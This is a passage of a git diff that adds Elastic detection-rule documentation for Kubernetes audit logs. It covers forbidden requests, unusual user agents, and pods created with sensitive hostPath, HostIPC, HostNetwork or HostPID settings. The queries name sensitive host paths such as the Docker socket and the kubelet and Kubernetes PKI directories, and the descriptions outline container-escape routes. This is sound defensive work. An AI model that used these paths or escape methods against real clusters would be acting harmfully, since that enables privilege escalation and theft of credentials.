attempt was targeting. +- Investigate the `kubernetes.audit.sourceIPs` field to trace the source IP address of the request, which may help identify the origin of the unauthorized attempt. +- Analyze the `kubernetes.audit.annotations.authorization_k8s_io/reason` field, if available, to understand why the request was forbidden, providing insights into potential misconfigurations or policy violations. +- Cross-reference the user or service account with existing role bindings and cluster role bindings to verify if there are any misconfigurations or missing permissions that could have led to the forbidden request. +- Review recent changes in the cluster's authorization policies or role assignments that might have inadvertently affected permissions, leading to the denied request. +- Consider correlating this event with other security alerts or logs to identify patterns or repeated unauthorized attempts, which could indicate a broader attack strategy. + + +*False positive analysis* + + +- Service accounts with limited permissions may trigger false positives when attempting to create resources they are not authorized for. Review service account roles and permissions to ensure they align with intended access levels. +- Automated processes or scripts that attempt resource creation without proper permissions can result in false positives. Identify and adjust these processes to ensure they operate within their designated permissions. +- Developers testing new configurations or deployments might inadvertently cause forbidden creation requests. Implement a separate testing environment with appropriate permissions to minimize false positives in production. +- Changes in authorization policies can lead to temporary false positives as users adjust to new permissions. Communicate policy changes effectively and provide guidance on necessary adjustments to avoid unnecessary alerts. +- Regularly scheduled tasks or cron jobs that attempt resource creation without updated permissions can trigger false positives. Review and update these tasks to ensure they have the necessary access rights. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access or resource manipulation. This can be done by restricting network access or applying stricter firewall rules temporarily. +- Identify and revoke any unauthorized or suspicious service accounts or user credentials that attempted the forbidden creation request. Ensure that these accounts are disabled or have their permissions reduced to prevent further misuse. +- Review and update the Kubernetes Role-Based Access Control (RBAC) policies to ensure that only authorized users and service accounts have the necessary permissions to create resources. This includes verifying that least privilege principles are applied. +- Conduct a thorough audit of recent Kubernetes audit logs to identify any other unauthorized access attempts or suspicious activities that may have occurred around the same time as the detected alert. +- Escalate the incident to the security operations team for further investigation and to determine if there is a broader security incident or breach. Provide them with all relevant logs and findings. +- Implement additional monitoring and alerting for similar unauthorized creation attempts in the future. This can include setting up alerts for any "forbid" decisions in the audit logs to ensure rapid detection and response. +- Consider deploying additional security tools or services, such as intrusion detection systems or anomaly detection solutions, to enhance the security posture of the Kubernetes environment and prevent similar threats. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and kubernetes.audit.verb == "create" and +kubernetes.audit.stage == "ResponseComplete" and `kubernetes.audit.annotations.authorization_k8s_io/decision` == "forbid" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..aacf085f7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc @@ -0,0 +1,113 @@ +[[prebuilt-rule-8-19-21-kubernetes-forbidden-request-from-unusual-user-agent]] +=== Kubernetes Forbidden Request from Unusual User Agent + +This rule detects when a forbidden request is made from an unusual user agent in a Kubernetes environment. Adversary tooling may use non-standard or unexpected user agents to interact with the Kubernetes API, which can indicate an attempt to evade detection or blend in with legitimate traffic. In combination with a forbidden request, this behavior can suggest an adversary is attempting to exploit vulnerabilities or misconfigurations in the Kubernetes cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Forbidden Request from Unusual User Agent* + + +Kubernetes, a container orchestration platform, manages applications across clusters. It uses APIs for communication, which can be targeted by adversaries using atypical user agents to mask malicious activities. These agents may attempt unauthorized actions, exploiting vulnerabilities. The detection rule identifies such anomalies by flagging forbidden requests from non-standard user agents, indicating potential threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the source IP address and user associated with the forbidden request. This can help determine if the request originated from a known or unknown entity. +- Analyze the user agent string in the audit logs to understand its origin and purpose. Cross-reference it with known legitimate user agents to assess its legitimacy. +- Check for any recent changes or deployments in the Kubernetes environment that might have introduced new user agents or configurations, potentially leading to the forbidden request. +- Investigate the specific resource or API endpoint that was targeted by the forbidden request to understand what the adversary might have been attempting to access or exploit. +- Correlate the event with other security logs and alerts to identify any patterns or additional suspicious activities that might indicate a broader attack or reconnaissance effort. +- Assess the current security posture and configurations of the Kubernetes cluster to identify any vulnerabilities or misconfigurations that could be exploited by adversaries using unusual user agents. + + +*False positive analysis* + + +- Legitimate internal tools or scripts may use non-standard user agents that are not included in the exclusion list. Review and identify these tools, then update the exclusion list to prevent them from being flagged. +- Automated processes or third-party integrations might use unique user agents that trigger the rule. Verify these processes and consider adding their user agents to the exclusion list if they are deemed safe. +- Development or testing environments often use custom user agents for API interactions. Ensure these environments are accounted for by excluding their user agents to avoid unnecessary alerts. +- Regularly review and update the exclusion list to reflect changes in legitimate user agents used within your organization, ensuring that only truly unusual and potentially malicious agents are flagged. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes node or cluster to prevent further unauthorized access or potential lateral movement by the adversary. +- Revoke any suspicious or unauthorized credentials or tokens that may have been used in the forbidden request to ensure they cannot be reused. +- Conduct a thorough review of the Kubernetes audit logs to identify any additional unauthorized or suspicious activities that may have occurred around the time of the alert. +- Patch any identified vulnerabilities or misconfigurations in the Kubernetes environment that may have been exploited, ensuring all components are up to date with the latest security patches. +- Implement stricter access controls and user agent validation to prevent non-standard user agents from interacting with the Kubernetes API unless explicitly allowed. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment or remediation actions are necessary. +- Enhance monitoring and alerting for similar activities by tuning detection systems to recognize patterns associated with this type of threat, ensuring rapid response to future incidents. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.stage:"ResponseComplete" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"forbid" and +user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc new file mode 100644 index 0000000000..903427d29a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-kubernetes-pod-created-with-a-sensitive-hostpath-volume]] +=== Kubernetes Pod Created with a Sensitive hostPath Volume + +This rule detects when a pod is created with a sensitive volume of type hostPath. A hostPath volume type mounts a sensitive file or folder from the node to the container. If the container gets compromised, the attacker can use this mount for gaining access to the node. There are many ways a container with unrestricted access to the host filesystem can escalate privileges, including reading data from other containers, and accessing tokens of more privileged pods. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 +* https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created with a Sensitive hostPath Volume* + + +Kubernetes allows containers to access host filesystems via hostPath volumes, which can be crucial for certain applications. However, if a container is compromised, adversaries can exploit these mounts to access sensitive host data or escalate privileges. The detection rule identifies when pods are created or modified with hostPath volumes pointing to critical directories, signaling potential misuse or security risks. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific pod creation or modification event that triggered the alert, focusing on the event.dataset field with the value "kubernetes.audit_logs". +- Examine the kubernetes.audit.requestObject.spec.volumes.hostPath.path field to determine which sensitive hostPath was mounted and assess the potential risk associated with that specific path. +- Check the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, and verify the legitimacy of the authorization decision. +- Investigate the kubernetes.audit.requestObject.spec.containers.image field to identify the container image used, ensuring it is not a known or suspected malicious image, and cross-reference with any known vulnerabilities or security advisories. +- Analyze the context of the pod creation or modification by reviewing the kubernetes.audit.verb field to understand whether the action was a create, update, or patch operation, and correlate this with recent changes or deployments in the environment. +- Assess the potential impact on the cluster by identifying other pods or services that might be affected by the compromised pod, especially those with elevated privileges or access to sensitive data. + + +*False positive analysis* + + +- Development environments often use hostPath volumes for testing purposes, which can trigger this rule. To manage this, create exceptions for specific namespaces or labels associated with development workloads. +- Monitoring tools or agents may require access to certain host paths for legitimate reasons. Identify these tools and exclude their specific container images from the rule, similar to the exclusion of the elastic-agent image. +- Backup or logging applications might need access to host directories to perform their functions. Review these applications and consider excluding their specific hostPath configurations if they are deemed non-threatening. +- Some system maintenance tasks might temporarily use hostPath volumes. Document these tasks and schedule them during known maintenance windows, then create temporary exceptions during these periods. +- Custom scripts or automation tools that interact with Kubernetes may inadvertently trigger this rule. Audit these scripts and tools, and if they are safe, exclude their specific actions or paths from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further access to sensitive host data. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any credentials or tokens that may have been exposed through the compromised pod to prevent unauthorized access to other resources. +- Conduct a thorough analysis of the container image and application code to identify any vulnerabilities or malicious code that may have led to the compromise. +- Patch or update the container image and application code to address any identified vulnerabilities, and redeploy the application with the updated image. +- Implement network policies to restrict pod-to-pod and pod-to-node communication, limiting the potential impact of a compromised pod. +- Enhance monitoring and logging for Kubernetes audit logs to ensure timely detection of similar threats in the future, focusing on unauthorized access attempts and privilege escalation activities. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures or incident response actions. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.requestObject.spec.volumes.hostPath.path: ( + "/" or "/proc" or "/root" or "/var" or "/var/run" or "/var/run/docker.sock" or "/var/run/crio/crio.sock" or + "/var/run/cri-dockerd.sock" or "/var/lib/kubelet" or "/var/lib/kubelet/pki" or "/var/lib/docker/overlay2" or + "/etc" or "/etc/kubernetes" or "/etc/kubernetes/manifests" or "/etc/kubernetes/pki" or "/home/admin" +) and +not kubernetes.audit.requestObject.spec.containers.image: ( + docker.elastic.co/beats/elastic-agent* or *elastic/elastic-agent* or docker.elastic.co/elastic-agent/elastic-agent* or + *elastic-agent\:dev* or *cloudops-azure-devops-agent* or rancher/mirrored-longhornio-longhorn-instance-manager* or + quay.io/calico* or ghcr.io/aquasecurity* or rancher/system-agent* or rancher/mirrored-longhornio-csi-node-driver-registrar* or + rancher/mirrored-longhornio-livenessprobe* or quay.io/prometheus/node-exporter* or *eks/observability/cloudwatch-agent* or + amazon/aws-efs-csi-driver* or public.ecr.aws/eks-distro/kubernetes-csi* or quay.io/cilium/cilium* or openebs/node-disk-manager* or + openebs/cstor-csi-driver* or registry.k8s.io/sig-storage/csi-node-driver-registrar* or *.amazonaws.com/eks/csi-node-driver-registrar* or + *.amazonaws.com/eks/livenessprobe* or *.amazonaws.com/eks/aws-efs-csi-driver* or mcr.microsoft.com/oss/v2/kubernetes-csi* or + rancher/mirrored-cilium-cilium* or jenkins/inbound-agent* or gcr.io/datadoghq/agent* or rancher/mirrored-longhornio-longhorn-share-manager* or + */sysdig/* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostipc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostipc.asciidoc new file mode 100644 index 0000000000..925f467225 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostipc.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostipc]] +=== Kubernetes Pod Created With HostIPC + +This rule detects an attempt to create or modify a pod using the host IPC namespace. This gives access to data used by any pod that also use the hosts IPC namespace. If any process on the host or any processes in a pod uses the hosts inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), an attacker can read/write to those same mechanisms. They may look for files in /dev/shm or use ipcs to check for any IPC facilities being used. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-policy/#host-namespaces +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostIPC* + + +Kubernetes allows pods to share the host's IPC namespace, enabling inter-process communication. While useful for legitimate applications, adversaries can exploit this to access shared memory and IPC mechanisms, potentially leading to data exposure or privilege escalation. The detection rule identifies suspicious pod creation or modification events that enable host IPC, excluding known benign images, to flag potential security threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific pod creation or modification event that triggered the alert, focusing on the event.dataset field with the value "kubernetes.audit_logs". +- Examine the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, and verify the identity of the user or service account that initiated the request. +- Investigate the kubernetes.audit.objectRef.resource field to ensure the resource involved is indeed a pod, and check the kubernetes.audit.verb field to determine if the action was a create, update, or patch operation. +- Analyze the kubernetes.audit.requestObject.spec.hostIPC field to confirm that host IPC was enabled, and cross-reference with the kubernetes.audit.requestObject.spec.containers.image field to ensure the image is not part of the known benign list. +- Check for any other pods or processes on the host that might be using the host's IPC namespace, and assess if there is any unauthorized access or data exposure risk. +- Look for any suspicious activity or anomalies in the /dev/shm directory or use the ipcs command to identify any IPC facilities that might be exploited. + + +*False positive analysis* + + +- Pods using hostIPC for legitimate inter-process communication may trigger alerts. Review the pod's purpose and verify if hostIPC is necessary for its function. +- Known benign images, such as monitoring or logging agents, might use hostIPC. Update the exclusion list to include these images if they are verified as non-threatening. +- Development or testing environments often use hostIPC for debugging purposes. Consider excluding these environments from the rule or creating a separate rule with a higher threshold for alerts. +- Automated deployment tools might temporarily use hostIPC during setup. Ensure these tools are recognized and excluded if they are part of a controlled and secure process. +- Regularly review and update the exclusion list to reflect changes in your environment, ensuring that only verified and necessary uses of hostIPC are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further access to the host's IPC namespace. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any unnecessary permissions or roles that allowed the pod to be created or modified with hostIPC enabled. Ensure that only trusted entities have the capability to modify pod specifications. +- Conduct a thorough audit of other pods and configurations in the cluster to identify any additional instances where hostIPC is enabled without a valid justification. +- Implement network policies to restrict communication between pods and the host, limiting the potential impact of any unauthorized access to the host's IPC mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if any data exposure or privilege escalation occurred. +- Update security policies and configurations to prevent the use of hostIPC in future pod deployments unless explicitly required and approved. +- Enhance monitoring and alerting to detect similar attempts in the future, ensuring that any unauthorized use of hostIPC is promptly flagged and addressed. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.requestObject.spec.hostIPC:true and +not kubernetes.audit.requestObject.spec.containers.image: ( + docker.elastic.co/beats/elastic-agent* or rancher/system-agent* or registry.crowdstrike.com/falcon-sensor* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostnetwork.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostnetwork.asciidoc new file mode 100644 index 0000000000..f4c02d97a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostnetwork.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostnetwork]] +=== Kubernetes Pod Created With HostNetwork + +This rules detects an attempt to create or modify a pod attached to the host network. HostNetwork allows a pod to use the node network namespace. Doing so gives the pod access to any service running on localhost of the host. An attacker could use this access to snoop on network activity of other pods on the same node or bypass restrictive network policies applied to its given namespace. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-policy/#host-namespaces +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostNetwork* + + +Kubernetes allows pods to connect to the host's network namespace using HostNetwork, granting them direct access to the node's network interfaces. This capability can be exploited by attackers to monitor or intercept network traffic, potentially bypassing network policies. The detection rule identifies suspicious pod creation or modification events with HostNetwork enabled, excluding known benign images, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the source of the pod creation or modification event, focusing on the user or service account associated with the action. +- Examine the pod's configuration details, especially the containers' images, to determine if any unauthorized or suspicious images are being used, excluding known benign images like "docker.elastic.co/beats/elastic-agent:8.4.0". +- Investigate the network activity of the node where the pod is running to identify any unusual traffic patterns or potential data exfiltration attempts. +- Check the Kubernetes RBAC (Role-Based Access Control) settings to ensure that the user or service account has appropriate permissions and is not overly privileged. +- Assess the necessity of using HostNetwork for the pod in question and determine if it can be reconfigured to operate without this setting to reduce potential security risks. + + +*False positive analysis* + + +- Pods used for monitoring or logging may require HostNetwork access to gather network data across nodes. Users can exclude these by adding their specific container images to the exception list in the detection rule. +- Certain system-level services or infrastructure components might need HostNetwork for legitimate reasons, such as network plugins or ingress controllers. Identify these services and update the rule to exclude their specific images or namespaces. +- Development or testing environments might frequently create pods with HostNetwork for debugging purposes. Consider creating a separate rule or environment-specific exceptions to avoid alert fatigue in these scenarios. +- Pods that are part of a known and trusted deployment process, which require HostNetwork for valid operational reasons, should be documented and excluded from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected pod by cordoning the node to prevent new pods from being scheduled and draining existing pods to other nodes, except the suspicious one. +- Terminate the suspicious pod to stop any potential malicious activity and prevent further network access. +- Review and revoke any unnecessary permissions or roles associated with the service account used by the pod to limit privilege escalation opportunities. +- Conduct a thorough audit of network policies to ensure they are correctly configured to prevent unauthorized access to the host network. +- Escalate the incident to the security operations team for further investigation and to determine if any data was accessed or exfiltrated. +- Implement additional monitoring and alerting for any future pod creations with HostNetwork enabled to quickly detect similar threats. +- Review and update Kubernetes RBAC policies to enforce the principle of least privilege, ensuring only trusted entities can create pods with HostNetwork enabled. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:kubernetes.audit_logs and kubernetes.audit.annotations.authorization_k8s_io/decision:allow and +kubernetes.audit.objectRef.resource:pods and kubernetes.audit.verb:(create or patch or update) and +kubernetes.audit.requestObject.spec.hostNetwork:true and +not ( + kubernetes.audit.requestObject.spec.containers.image:( + *eks/observability/aws-for-fluent-bit* or *eks/observability/cloudwatch-agent* or *elastic-agent* or *quay/tigera* or *tigera/operator* or + docker.io/bitnami/node-exporter* or docker.io/rancher/mirrored-calico-operator* or quay.io/calico/node* or quay.io/cephcsi/cephcsi* or + quay.io/frrouting/frr* or quay.io/metallb/speaker* or quay.io/prometheus/node-exporter* or rancher/system-agent* or + registry.crowdstrike.com/falcon-sensor* or registry.k8s.io/sig-storage/csi-node-driver-registrar* + ) or + kubernetes.audit.objectRef.namespace:( + calico or calico-system or cilium or elastic or ingress-nginx or kube-system or noname-security-posture or openebs or sysdig-agent + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostpid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostpid.asciidoc new file mode 100644 index 0000000000..0c5645a0c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostpid.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostpid]] +=== Kubernetes Pod Created With HostPID + +This rule detects an attempt to create or modify a pod attached to the host PID namespace. HostPID allows a pod to access all the processes running on the host and could allow an attacker to take malicious action. When paired with ptrace this can be used to escalate privileges outside of the container. When paired with a privileged container, the pod can see all of the processes on the host. An attacker can enter the init system (PID 1) on the host. From there, they could execute a shell and continue to escalate privileges to root. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-policy/#host-namespaces +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostPID* + + +Kubernetes allows pods to share the host's process ID (PID) namespace, enabling visibility into host processes. While useful for debugging, this can be exploited by attackers to escalate privileges, especially when combined with privileged containers. The detection rule identifies attempts to create or modify pods with HostPID enabled, excluding known safe images, to flag potential privilege escalation activities. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the user or service account responsible for the pod creation or modification attempt. Look for the `kubernetes.audit.user.username` field to determine who initiated the action. +- Examine the `kubernetes.audit.requestObject.spec.containers.image` field to identify the container images used in the pod. Verify if any unknown or suspicious images are being deployed. +- Check the `kubernetes.audit.annotations.authorization_k8s_io/decision` field to confirm that the action was allowed and investigate the context or reason for this decision. +- Investigate the `kubernetes.audit.objectRef.resource` and `kubernetes.audit.verb` fields to understand the specific action taken (create, update, or patch) and the resource involved. +- Assess the necessity and legitimacy of using HostPID in the pod's configuration by consulting with the relevant development or operations teams. Determine if there is a valid use case or if it was potentially misconfigured or maliciously set. +- Review any recent changes in the Kubernetes environment or related configurations that might have led to this alert, focusing on changes around the time the alert was triggered. + + +*False positive analysis* + + +- Known safe images like "docker.elastic.co/beats/elastic-agent:8.4.0" are already excluded, but other internal tools or monitoring agents that require HostPID for legitimate reasons might trigger false positives. Review and identify such images and add them to the exclusion list. +- Development or testing environments often use HostPID for debugging purposes. Consider creating a separate rule or exception for these environments to prevent unnecessary alerts. +- Some system maintenance tasks might require temporary use of HostPID. Document these tasks and schedule them during known maintenance windows, then adjust the rule to exclude these specific time frames. +- Regularly review audit logs to identify patterns of benign HostPID usage. Use this information to refine the rule and reduce false positives by updating the exclusion criteria. +- Collaborate with development and operations teams to understand legitimate use cases for HostPID in your environment, and adjust the rule to accommodate these scenarios without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further interaction with the host processes. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any unnecessary permissions or roles that may have allowed the creation of pods with HostPID enabled. Ensure that only trusted users and service accounts have the ability to create such pods. +- Conduct a thorough investigation of the container images used in the pod to ensure they are from trusted sources and have not been tampered with. Remove any untrusted or suspicious images from the registry. +- Check for any unauthorized access or changes to the host system's processes and files. If any malicious activity is detected, take steps to restore affected systems from backups and patch any vulnerabilities. +- Implement network segmentation to limit the communication between pods and the host system, reducing the risk of lateral movement by an attacker. +- Enhance monitoring and logging to capture detailed audit logs of Kubernetes API activities, focusing on changes to pod specifications and the use of HostPID. This will aid in detecting similar threats in the future. +- Escalate the incident to the security operations team for further analysis and to determine if additional security measures or incident response actions are required. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and 